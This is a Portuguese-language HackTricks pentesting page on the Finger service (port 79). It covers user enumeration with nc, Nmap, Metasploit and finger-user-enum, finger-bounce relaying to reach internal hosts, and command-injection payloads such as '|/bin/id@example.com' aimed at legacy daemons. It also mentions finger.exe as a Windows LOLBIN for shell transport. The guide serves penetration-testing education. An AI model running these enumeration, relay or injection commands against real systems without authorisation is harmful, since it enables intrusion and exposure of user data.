79 - Pentesting Finger
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
O programa/serviço Finger é utilizado para obter detalhes sobre usuários de computador. Normalmente, as informações fornecidas incluem o nome de login do usuário, nome completo, e, em alguns casos, detalhes adicionais. Esses detalhes extras podem abranger a localização do escritório e número de telefone (se disponíveis), o horário em que o usuário fez login, o período de inatividade (idle time), a última vez em que o usuário leu o correio e o conteúdo dos arquivos .plan / .project do usuário.
Do ponto de vista de pentesting, o Finger ainda é interessante porque o protocolo é extremamente pequeno, legível por humanos, e frequentemente implementado com lógica de parsing legada. Um daemon pode divulgar:
- usuários logados atualmente
- nomes completos / dados GECOS
- diretórios home, shells, últimos horários de login e TTYs
- conteúdo dos arquivos
.plan/.project - comportamento de relay para consultar um segundo host através do primeiro
Porta padrão: 79
PORT STATE SERVICE
79/tcp open finger
Enumeração
Banner Grabbing/Conexão básica
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79 # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79 # Long format, if the daemon supports it
O protocolo é ASCII over TCP/79, normalmente terminado com CRLF, e o servidor fecha a conexão TCP após a resposta. Na prática, uma consulta nula (\r\n) costuma ser suficiente para recuperar a lista de usuários atual, que é exatamente o que o script NSE finger padrão do Nmap faz.
Enumeração de usuários
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients
Alternativamente, você pode usar finger-user-enum do pentestmonkey, alguns exemplos:
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
A nuance importante na enumeração Finger é que não existe formato de resposta estrito entre os daemons. Ferramentas como finger-user-enum funcionam bem contra serviços estilo Solaris porque usuários válidos e inválidos produzem layouts de texto diferentes, mas você pode precisar comparar manualmente respostas positivas e negativas e adaptar as regexes se o daemon alvo for incomum.
Sondas úteis quando o daemon não está se comportando como o Solaris/BSD padrão:
# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79
# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79
# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79
Nmap executa um script usando os default scripts
nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>
O script NSE finger do Nmap é seguro e simplesmente envia uma null query para recuperar a lista de usuários atual. Se você quiser um username guessing mais abrangente contra daemons permissivos, considere estender a abordagem com custom wordlists ou usar projetos como fat-finger.nse, que enviam múltiplos nomes de conta prováveis em uma única requisição e procuram por correspondências username/GECOS.
Metasploit usa mais truques do que o Nmap
use auxiliary/scanner/finger/finger_users
Shodan
port:79 USER
Execução de comandos
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
RFC 1288 permite explicitamente que implementações executem um programa controlado pelo usuário em resposta a uma consulta Finger, que é de onde vem o clássico abuso |/bin/.... Isso é raro hoje em dia, mas se você encontrar um daemon personalizado ou legado, verifique cuidadosamente por:
- metacaracteres de shell no tratamento do nome de usuário
- execução de
|programem plan/project hooks - wrappers de backend que passam o nome de usuário para um script shell ou CGI
Também lembre-se do caminho de abuso client-side no Windows: finger.exe é um LOLBIN assinado que pode recuperar texto arbitrário de um servidor Finger remoto em TCP/79, e então redirecionar essa saída para outro processo. Essa técnica é mais relevante para post-exploitation do que para service enumeration, então veja the Linux reverse-shell page para a ideia de transporte de shell e mantenha-a em mente ao emular a tradecraft de um atacante.
Finger Bounce
Use a system as a finger relay
finger user@host@victim
finger @internal@external
Isto não é apenas uma peculiaridade de implementação: RFC 1288 define o encaminhamento recursivo @hostname ({Q2} queries). Se o daemon suporta relaying, o servidor intermediário abre a segunda conexão Finger por você e retorna a resposta de volta pelo socket original. Isso significa:
- seu host pode não conectar diretamente ao alvo final
- o relay pode ser usado para enumerar usuários internos a partir de um serviço Finger exposto
finger-user-enumsuporta isso nativamente com-r <relay>
Exemplo:
# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79
# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1
Se o relaying funcionar, use-o como um internal recon primitive e compare a saída relayed com a saída direta do public daemon. Formatação ou filtragem diferentes frequentemente revelam se o relay path é tratado por um backend ou wrapper separado.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


